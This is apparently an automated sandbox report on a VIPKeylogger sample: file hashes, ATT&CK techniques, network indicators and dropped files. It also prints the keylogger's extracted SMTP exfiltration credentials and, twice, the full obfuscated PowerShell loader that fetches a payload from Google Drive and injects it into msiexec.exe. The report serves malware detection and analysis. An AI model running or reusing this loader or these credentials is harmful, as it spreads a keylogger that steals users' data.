vipkeylogger | b74c353c7f406d3c7c9da4177fe9943025c777043ace9bad04f00afb54d5eff4

General

Target

b74c353c7f406d3c7c9da4177fe9943025c777043ace9bad04f00afb54d5eff4.vbs
Size

26KB
MD5

b5e502531a1b2831f619d00155c060fb
SHA1

537eef317221bac726a61558673d849cacd9d7b0
SHA256

b74c353c7f406d3c7c9da4177fe9943025c777043ace9bad04f00afb54d5eff4
SHA512

619c2a6fd05b61f6c76a2d0decae6c655c55587df2194e7e66325eee26b94f8cca3c97a405bad2882360ff5c793f53350b30b4916ab93303671131620a8cce96
SSDEEP

384:PeakpsZlGIoRS0mgqt4eQ3urB53TIPmrRHiXkHWAFcqnRCbj8L849P3:PeaDZlGeRViul53TIY4QxFdnRCuf

Score

10^/10

vipkeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.gtpv.online
Port:
587
Username:
[email protected]
Password:
7213575aceACE@@
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 11 IoCs

flow	pid	Process
2	2520	WScript.exe
7	2896	powershell.exe
9	2896	powershell.exe
11	2856	msiexec.exe
13	2856	msiexec.exe
15	2856	msiexec.exe
17	2856	msiexec.exe
18	2856	msiexec.exe
20	2856	msiexec.exe
22	2856	msiexec.exe
24	2856	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
2640	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	checkip.dyndns.org
21	reallyfreegeoip.org
22	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2856	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2640	powershell.exe
2856	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2896	powershell.exe
2640	powershell.exe
2640	powershell.exe
2856	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2640	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2856	msiexec.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 2896	2520	WScript.exe	30
PID 2520 wrote to memory of 2896	2520	WScript.exe	30
PID 2520 wrote to memory of 2896	2520	WScript.exe	30
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36
PID 2640 wrote to memory of 2856	2640	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b74c353c7f406d3c7c9da4177fe9943025c777043ace9bad04f00afb54d5eff4.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Daintith; function Ultras31($Pulahanism){$Instans225=5;do{$Bewield+=$Pulahanism[$Instans225];Format-List;$Instans225+=6} until(!$Pulahanism[$Instans225])$Bewield}function Coveted($Linoleumet){ .($Noninferentially) ($Linoleumet)}$Biologisk=Ultras31 'A falNFenn.ebastit Maus. UndeW';$Biologisk+=Ultras31 'PhalaeF,ldebAlbolc,okalL PattiB ankEVowelnStapht';$Snversynede112=Ultras31 'NiderMPu.asoStty,zfiguriKaraml Gl blRefulaafble/';$Llandeilo=Ultras31 'SkaanTLanc lJoggisNonco1F aad2';$Aneroidbarometeret=' Tram[IsalenFlagneAlment ran.CangusK ntieAtomtRBedstv BldaiApocacDeltae,nduspPasteo WastIXenopnim untTu nuMWh,reASl thNVisibAAf alg s,tsE oreiRP,eum]B mpe:Conce:TildesKrnemEBoarsCAlag u orserGamliiPhosgTReaneYStdenpOmdigRHo.edOAllelTklunkOTi skCNsedeoBastalM leb=Beaa $ tivsl AaenLOpt.vADd hjn P paDEnoc eSialiIH rdfL Confo';$Snversynede112+=Ultras31 ' colo5strum.Fo.ha0Col b Bosse(Azil.W TumbiKravlnNaestddani oHospiw Detos ainl DisseNCustrTLeadm Proth1su.de0Invio.Doku 0Ggler;Refre SynteW recii,hilonUnbo,6Afste4 Tach;p,eas SanktxOverg6F rsk4Savin;.esne AlcorA.lonvBelle:Afsku1premo3Alder4Ufolk.No fi0Ethno)Cinch TenpG Amn eThwaicAeroskRednioSkovg/.ninn2sul o0Under1Footm0 Char0Ste e1 En.r0 Pols1K,rna radiFA ethiPoster TrusehjernfQuartoExtemxForst/ Ska 1Torti3An sa4Bluff.Waf,r0';$Njagtigst=Ultras31 ' By euNoncasBelgnEFredsrshone-TopklAStte G T.icEOpskrNProlot';$Unctorian=Ultras31 'StopfhArki.tFremmtComprp.nstasSpill:Radio/Ubear/Cented KnasrPrcisiSelskvMindeeAnt,a.EgalegPostro Bekeoanmasg TilblConsoeGerme.MelomcBisseo DistmTappe/ PigmuForskcGenly?ModiseA ernxBagrupunmolo LeptrD.ndetPa.em=.emoidFacinoUndefw ommanPlighl aligoResf.aA,mendSweet&PuritiDisendEnhed=Frede1Val aR S.vsFSpri,CCo le7Re,slxChortdChapeCReminp dekePapia7GrublkNonflgBerryTT iliNMenhaOR ddeR PostRFllesURollihStemmYStyrt3 KindY ReciILydtbDAnvend abatAutocySkri 6Pav,et cumhRBundtSGrabsr';$Statsskoven=Ultras31 ' P oc>';$Noninferentially=Ultras31 'TransIBejdsELsr fX';$Sentimentalt='Spiritualness';$Arankas='\Ingine.Sok';Coveted (Ultras31 'Ebcdi$ GtevGAbroclMygsbOBismuBSemipa ilbaLDodde:Ops iBFormiA IndkNElefaKTerriaOversKHillstHelleIWive.E PervnScabr=Nutid$ ,ydreAkkvinCytotVKalci:Slop.aPolypPFjerkP Sk lDMultiAArgenTKlukkAl.rdl+Srlov$HasteADeponRBe praRubifnb rtfkphotoA Skavs');Coveted (Ultras31 'Wo.fs$ragepGSa meLSpr gOPos tb CataaHomonlLinn,:TvundTAssonOPrecoUTunnip,oypoE.eparrTaet.ECoenlNG ngiDSko teUnderS Memo1Bat i8Homep1Unblu=Minim$ComfouLoge,NMedlec Rec,tMakkeO Man rVagtsIBeln.A Jor NTroun.Synk sH,ksfpLudbelLg,erITrachT Hu,u( Blos$jordeS PlanTNewfoA igsetS.yldsSkovmsbelaaKS,nkeoArshevEyliaESondenRig v)');Coveted (Ultras31 $Aneroidbarometeret);$Unctorian=$Touperendes181[0];$Emda=(Ultras31 'Emoll$ Catwg ypoLce igOSilkebOrga A Testl R on:R,dmaRCanneEEn umgKnortEFagidNKafirCLdr,bEValer=DelfunBagdeeu itaWLygte-PolitODefinBSmalljskilde onfoCRandotSan n alvSMold.YWildeSThaleT Quice rejuM Ly,t. Flin$RensdBLiberIUnfagoGaar LSvenso ismegUncoaILapa,SKodi K');Coveted ($Emda);Coveted (Ultras31 'Silke$Spir RIdenteRe,orgFebe.eEmneanForpac She.efores.AtomiHStreje,oncoaMandrdHasteeSaponr acasT mno[ ,lys$ Abe NobjecjMadr aDaft,gtrusstKukkeiJoh.ngele.bsRibost.daso]Th ll=Gaver$BeskrSGatelnOpvkkv Chere BeskrEtagesarbejyF erenForskeUlumid.oreleBen.s1Test,1.abel2');$Holks=Ultras31 'T,xis$SarcoRUnivee Ove,gSmaddeP.odun ,ittcUnmoreS.oot.ForeiDDaan,oAb ttwPalmin AfstlGramoo Ratia.rittd nderFUdmali OctolNeonreH ste(.isun$ ArbeU AnmonSirenc KuldtNonp o T ykrintetirig aa Fjasn Ind,, Extr$UndisTmanuleLovprrHaandm.rjhoo topfgBeh vrHomo aEunukfTank eArbejr Jetse ropirHa sr)';$Termograferer=$Bankaktien;Coveted (Ultras31 'newsl$el miGAbigaL In.eOChispBvolumaLobloLIso,o: NonpkLideno Abatk UndeSLit.geStvleNSving=Chefk(ChipptBuenseResids FrayTProfi-RaastP Un iaLnkamT ubvehWhizz F rsk$realitWa cheLedigr TangmStr fOU embG TrreR Suc,aSnubbfQuichEUbesrrH leke aflorKulin)');while (!$Koksen) {Coveted (Ultras31 'Spiru$ H megEngenlIndkaoSys obBrevsa riml Trag: ReniF HalvrVrikniHrshotPitypiR gdadOverlsDugdrpUn.rodsavvraParoegStretoSminkgMerose B nnnHalvt= Pa,e$BitteS ol gqde,lou vancaVauntmSwelloUnnats.edisoDiscozV nreyEkv,pg,ksproDamp mDativa,elvtt TraiiTankbc') ;Coveted $Holks;Coveted (Ultras31 'F gme[tomaht Ato,hsemihrBalane ereaBel sDFlodiiRensnNBunlaGDimin.overmtLuskehFil cR.razie I poApervedVanja]Victo:Kakot:SolidsSendaluddatE P,eoefu igp,bscu( Sa,k4punct0Radio0Smags0Organ)');Coveted (Ultras31 'Barne$KlavegSpondLCoseio MedtbAtomkaOcto.LSaxof:CbftaKRmeblo nderKMis ls HaneEInfilnSport=micro(StranTdmpefeUnwriSEs.ertForum- Gutqp flasA dlant S,inhPuste oly$MisteT Ex cegaaderU sprmMedi.OLep oGMinifROve.uA Br lF ersEHester Se uES.ortrNabog)') ;Coveted (Ultras31 ' I.du$HavgagMouchL .ummoP.atyBSplita uinl reex: onduvisoi ESymptRLa ceMSto mu Res,tsiren=Uimod$ rookgNetkol mykooEjakuBOutkiaProbaLCorti:skrivpInviaRUn,haiSiegfNPaalgcUdstrIGrundpReso F SalpA PriaSNonc TBerejEOve eR Dy,aE G neSarbe +Unde + van%Uncan$Jailbt N ncoContiUFirerPRaw eE TipsrmarikeErfarnAttraD rramEUn usSPoiss1nico.8Muddl1T.agu. CimbCAnforOWha tUDoublNSkem.T') ;$Unctorian=$Touperendes181[$Vermut]}$Varmefronters=332943;$Spilbom233=31840;Coveted (Ultras31 'Etage$StatuGO,tcolDombgOBrplaB Fo.taKlaphLTephr:CollaB BortE HommFSkn eJ AntiEC liarDarli Metra=Aliza OmverGOohedeconoitSnitt-Eft.rcTurk,oVitsenpa,titBaksgEFrin NMagneT iste Albin$.xtratFrugtEFlossr PrinMGueriOVognaGReallRHvepsACampeFFiss eTruppR.pidseEpochr');Coveted (Ultras31 'Obscu$AsendgTogaslchattoD,ssubgullyaVi dslMelo : pmagLEntomeBispevfingreZoop rAmastiextl nHuskegUnr,ssMidttt HjreiE,dosdBesvreepiclnplexi Hart = Dags B ces[tvun,S Kaaly FrissCas otAstm,eBanjomCress.potooC AntnoUpfilnNd,inv S ekeNonterEmmettUaf,n]veste:del.m:FluefFPseu rD.lano ,atcmSulfaB alneaDen is U,fre Supe6 Tors4ReklaS VekstBalsaropdr.iM ljknVisuag Reco(Kapr,$Mike BHens eSt refKont jAn lie,esgsr Ha e)');Coveted (Ultras31 ' Phal$ ForsgKilotlSubdio ashdbHydroAVakanlTraad:BilfrlSprngEbundkMDiplopBondsEPilumL Kvl,sThanneTrkn, ,elon=Overf Samm[FlyveS Tri YSm rts ChrotMyt,deIndevmKardi.GhibetI kbeeForudXJetflt Spri.FortoeDe ifNud.peCsardiOBen nDOlderIBandoNR,gsvg onin]ka ib:Arena:Meerea ,equSGlad CnanomIPrislIF gts.UforggRdvinEKilliT oddeSPlumbtBai er EasgiTa acNAfk rgHyper(Skral$Mesopl GemyEPr peVSingueTurnpr No iiSubtrnPh nag.olersNeurotWaterIHalshDReproEN,phrn.plev)');Coveted (Ultras31 'Windp$SpritG fstbLEry iO,bestbPaddea StinLTelep:Se icn inie GroagTolerEGoldlRUdhamIUnderNAmbulG PredeskinkNChest=Siven$AlephLbodemEFyrinm AbbePHindrEKursuLSki eSHeltaeI.eun. GangSPoteeuSquifb TorusTilbeT iksarRoomeIForprNH lpigbevi (Li,er$,pildVFerieAEgenpRM nleMSuedaeStudif.efecRUnderOKur uNGraf.TUncome Pom RStacksBarse,Forur$s vatsBttefpOdoraiParadL UnsoBArchaOac naM Tr n2Rishs3Smgtr3Salon)');Coveted $Negeringen;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Daintith; function Ultras31($Pulahanism){$Instans225=5;do{$Bewield+=$Pulahanism[$Instans225];Format-List;$Instans225+=6} until(!$Pulahanism[$Instans225])$Bewield}function Coveted($Linoleumet){ .($Noninferentially) ($Linoleumet)}$Biologisk=Ultras31 'A falNFenn.ebastit Maus. UndeW';$Biologisk+=Ultras31 'PhalaeF,ldebAlbolc,okalL PattiB ankEVowelnStapht';$Snversynede112=Ultras31 'NiderMPu.asoStty,zfiguriKaraml Gl blRefulaafble/';$Llandeilo=Ultras31 'SkaanTLanc lJoggisNonco1F aad2';$Aneroidbarometeret=' Tram[IsalenFlagneAlment ran.CangusK ntieAtomtRBedstv BldaiApocacDeltae,nduspPasteo WastIXenopnim untTu nuMWh,reASl thNVisibAAf alg s,tsE oreiRP,eum]B mpe:Conce:TildesKrnemEBoarsCAlag u orserGamliiPhosgTReaneYStdenpOmdigRHo.edOAllelTklunkOTi skCNsedeoBastalM leb=Beaa $ tivsl AaenLOpt.vADd hjn P paDEnoc eSialiIH rdfL Confo';$Snversynede112+=Ultras31 ' colo5strum.Fo.ha0Col b Bosse(Azil.W TumbiKravlnNaestddani oHospiw Detos ainl DisseNCustrTLeadm Proth1su.de0Invio.Doku 0Ggler;Refre SynteW recii,hilonUnbo,6Afste4 Tach;p,eas SanktxOverg6F rsk4Savin;.esne AlcorA.lonvBelle:Afsku1premo3Alder4Ufolk.No fi0Ethno)Cinch TenpG Amn eThwaicAeroskRednioSkovg/.ninn2sul o0Under1Footm0 Char0Ste e1 En.r0 Pols1K,rna radiFA ethiPoster TrusehjernfQuartoExtemxForst/ Ska 1Torti3An sa4Bluff.Waf,r0';$Njagtigst=Ultras31 ' By euNoncasBelgnEFredsrshone-TopklAStte G T.icEOpskrNProlot';$Unctorian=Ultras31 'StopfhArki.tFremmtComprp.nstasSpill:Radio/Ubear/Cented KnasrPrcisiSelskvMindeeAnt,a.EgalegPostro Bekeoanmasg TilblConsoeGerme.MelomcBisseo DistmTappe/ PigmuForskcGenly?ModiseA ernxBagrupunmolo LeptrD.ndetPa.em=.emoidFacinoUndefw ommanPlighl aligoResf.aA,mendSweet&PuritiDisendEnhed=Frede1Val aR S.vsFSpri,CCo le7Re,slxChortdChapeCReminp dekePapia7GrublkNonflgBerryTT iliNMenhaOR ddeR PostRFllesURollihStemmYStyrt3 KindY ReciILydtbDAnvend abatAutocySkri 6Pav,et cumhRBundtSGrabsr';$Statsskoven=Ultras31 ' P oc>';$Noninferentially=Ultras31 'TransIBejdsELsr fX';$Sentimentalt='Spiritualness';$Arankas='\Ingine.Sok';Coveted (Ultras31 'Ebcdi$ GtevGAbroclMygsbOBismuBSemipa ilbaLDodde:Ops iBFormiA IndkNElefaKTerriaOversKHillstHelleIWive.E PervnScabr=Nutid$ ,ydreAkkvinCytotVKalci:Slop.aPolypPFjerkP Sk lDMultiAArgenTKlukkAl.rdl+Srlov$HasteADeponRBe praRubifnb rtfkphotoA Skavs');Coveted (Ultras31 'Wo.fs$ragepGSa meLSpr gOPos tb CataaHomonlLinn,:TvundTAssonOPrecoUTunnip,oypoE.eparrTaet.ECoenlNG ngiDSko teUnderS Memo1Bat i8Homep1Unblu=Minim$ComfouLoge,NMedlec Rec,tMakkeO Man rVagtsIBeln.A Jor NTroun.Synk sH,ksfpLudbelLg,erITrachT Hu,u( Blos$jordeS PlanTNewfoA igsetS.yldsSkovmsbelaaKS,nkeoArshevEyliaESondenRig v)');Coveted (Ultras31 $Aneroidbarometeret);$Unctorian=$Touperendes181[0];$Emda=(Ultras31 'Emoll$ Catwg ypoLce igOSilkebOrga A Testl R on:R,dmaRCanneEEn umgKnortEFagidNKafirCLdr,bEValer=DelfunBagdeeu itaWLygte-PolitODefinBSmalljskilde onfoCRandotSan n alvSMold.YWildeSThaleT Quice rejuM Ly,t. Flin$RensdBLiberIUnfagoGaar LSvenso ismegUncoaILapa,SKodi K');Coveted ($Emda);Coveted (Ultras31 'Silke$Spir RIdenteRe,orgFebe.eEmneanForpac She.efores.AtomiHStreje,oncoaMandrdHasteeSaponr acasT mno[ ,lys$ Abe NobjecjMadr aDaft,gtrusstKukkeiJoh.ngele.bsRibost.daso]Th ll=Gaver$BeskrSGatelnOpvkkv Chere BeskrEtagesarbejyF erenForskeUlumid.oreleBen.s1Test,1.abel2');$Holks=Ultras31 'T,xis$SarcoRUnivee Ove,gSmaddeP.odun ,ittcUnmoreS.oot.ForeiDDaan,oAb ttwPalmin AfstlGramoo Ratia.rittd nderFUdmali OctolNeonreH ste(.isun$ ArbeU AnmonSirenc KuldtNonp o T ykrintetirig aa Fjasn Ind,, Extr$UndisTmanuleLovprrHaandm.rjhoo topfgBeh vrHomo aEunukfTank eArbejr Jetse ropirHa sr)';$Termograferer=$Bankaktien;Coveted (Ultras31 'newsl$el miGAbigaL In.eOChispBvolumaLobloLIso,o: NonpkLideno Abatk UndeSLit.geStvleNSving=Chefk(ChipptBuenseResids FrayTProfi-RaastP Un iaLnkamT ubvehWhizz F rsk$realitWa cheLedigr TangmStr fOU embG TrreR Suc,aSnubbfQuichEUbesrrH leke aflorKulin)');while (!$Koksen) {Coveted (Ultras31 'Spiru$ H megEngenlIndkaoSys obBrevsa riml Trag: ReniF HalvrVrikniHrshotPitypiR gdadOverlsDugdrpUn.rodsavvraParoegStretoSminkgMerose B nnnHalvt= Pa,e$BitteS ol gqde,lou vancaVauntmSwelloUnnats.edisoDiscozV nreyEkv,pg,ksproDamp mDativa,elvtt TraiiTankbc') ;Coveted $Holks;Coveted (Ultras31 'F gme[tomaht Ato,hsemihrBalane ereaBel sDFlodiiRensnNBunlaGDimin.overmtLuskehFil cR.razie I poApervedVanja]Victo:Kakot:SolidsSendaluddatE P,eoefu igp,bscu( Sa,k4punct0Radio0Smags0Organ)');Coveted (Ultras31 'Barne$KlavegSpondLCoseio MedtbAtomkaOcto.LSaxof:CbftaKRmeblo nderKMis ls HaneEInfilnSport=micro(StranTdmpefeUnwriSEs.ertForum- Gutqp flasA dlant S,inhPuste oly$MisteT Ex cegaaderU sprmMedi.OLep oGMinifROve.uA Br lF ersEHester Se uES.ortrNabog)') ;Coveted (Ultras31 ' I.du$HavgagMouchL .ummoP.atyBSplita uinl reex: onduvisoi ESymptRLa ceMSto mu Res,tsiren=Uimod$ rookgNetkol mykooEjakuBOutkiaProbaLCorti:skrivpInviaRUn,haiSiegfNPaalgcUdstrIGrundpReso F SalpA PriaSNonc TBerejEOve eR Dy,aE G neSarbe +Unde + van%Uncan$Jailbt N ncoContiUFirerPRaw eE TipsrmarikeErfarnAttraD rramEUn usSPoiss1nico.8Muddl1T.agu. CimbCAnforOWha tUDoublNSkem.T') ;$Unctorian=$Touperendes181[$Vermut]}$Varmefronters=332943;$Spilbom233=31840;Coveted (Ultras31 'Etage$StatuGO,tcolDombgOBrplaB Fo.taKlaphLTephr:CollaB BortE HommFSkn eJ AntiEC liarDarli Metra=Aliza OmverGOohedeconoitSnitt-Eft.rcTurk,oVitsenpa,titBaksgEFrin NMagneT iste Albin$.xtratFrugtEFlossr PrinMGueriOVognaGReallRHvepsACampeFFiss eTruppR.pidseEpochr');Coveted (Ultras31 'Obscu$AsendgTogaslchattoD,ssubgullyaVi dslMelo : pmagLEntomeBispevfingreZoop rAmastiextl nHuskegUnr,ssMidttt HjreiE,dosdBesvreepiclnplexi Hart = Dags B ces[tvun,S Kaaly FrissCas otAstm,eBanjomCress.potooC AntnoUpfilnNd,inv S ekeNonterEmmettUaf,n]veste:del.m:FluefFPseu rD.lano ,atcmSulfaB alneaDen is U,fre Supe6 Tors4ReklaS VekstBalsaropdr.iM ljknVisuag Reco(Kapr,$Mike BHens eSt refKont jAn lie,esgsr Ha e)');Coveted (Ultras31 ' Phal$ ForsgKilotlSubdio ashdbHydroAVakanlTraad:BilfrlSprngEbundkMDiplopBondsEPilumL Kvl,sThanneTrkn, ,elon=Overf Samm[FlyveS Tri YSm rts ChrotMyt,deIndevmKardi.GhibetI kbeeForudXJetflt Spri.FortoeDe ifNud.peCsardiOBen nDOlderIBandoNR,gsvg onin]ka ib:Arena:Meerea ,equSGlad CnanomIPrislIF gts.UforggRdvinEKilliT oddeSPlumbtBai er EasgiTa acNAfk rgHyper(Skral$Mesopl GemyEPr peVSingueTurnpr No iiSubtrnPh nag.olersNeurotWaterIHalshDReproEN,phrn.plev)');Coveted (Ultras31 'Windp$SpritG fstbLEry iO,bestbPaddea StinLTelep:Se icn inie GroagTolerEGoldlRUdhamIUnderNAmbulG PredeskinkNChest=Siven$AlephLbodemEFyrinm AbbePHindrEKursuLSki eSHeltaeI.eun. GangSPoteeuSquifb TorusTilbeT iksarRoomeIForprNH lpigbevi (Li,er$,pildVFerieAEgenpRM nleMSuedaeStudif.efecRUnderOKur uNGraf.TUncome Pom RStacksBarse,Forur$s vatsBttefpOdoraiParadL UnsoBArchaOac naM Tr n2Rishs3Smgtr3Salon)');Coveted $Negeringen;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
03d146e063df497365f593a69d307807

SHA1
02b32d98ba5455b8f6b5dd071649cb17f63d9d7b

SHA256
0d614a141de5ec32e9d0b8c9a9e541a1ade38bad06404b871d49e0dc391c68a9

SHA512
0414d93e1e4f7b7c4e8e217fe7aa83a7bd588127d05311b8af18ea7d118568e5da886fedd7ab6100b6d0f5f4346b1c1cab38ab684caf7dfa6b6751361b777839

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab9CDD.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4BB1.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Ingine.Sok

Filesize
474KB

MD5
5b9c56748a04f911e7f8a4de5ef350e2

SHA1
3b5688ac660f9c7233db5fb7bb05a152e527fdf8

SHA256
e364e87d14495a3a694b65353460ff27f2ae73847d872b5c6d24041805067767

SHA512
c35e6a5db3bb8ee7d56bd47060227b611da8f3fba618b935c9ba782dd8ea80218c25326155c9f3cf31d6d44db232ac8a4541b02118c05a7bc78d05474c8bd6cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ABNE0W519W411PVDV6KW.temp

Filesize
7KB

MD5
ad6418ab36856e375ef730602ce2f0f7

SHA1
9b6c8be1d979bbe87f07131933133c4c22621162

SHA256
1f12607385907735ec3d7e383cdc322061caf25a833e6ac89e7de2d68c001fdc

SHA512
bc3b4e54829c828c46403ba394d11f99908a568ccbda6af329f1109992dbe6f02cb15deaaefd226f679113c2873eafab3faf685f1db8da404fcf1941510caf34

Download Submit
memory/2640-35-0x0000000006730000-0x0000000007FB7000-memory.dmp

Filesize
24.5MB

Download
memory/2856-60-0x0000000000460000-0x00000000004A8000-memory.dmp

Filesize
288KB

Download
memory/2856-59-0x0000000000460000-0x00000000014C2000-memory.dmp

Filesize
16.4MB

Download
memory/2856-58-0x0000000000460000-0x00000000014C2000-memory.dmp

Filesize
16.4MB

Download
memory/2896-24-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-31-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-29-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-28-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

Filesize
4KB

Download
memory/2896-26-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-25-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-21-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2896-22-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2896-23-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-20-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing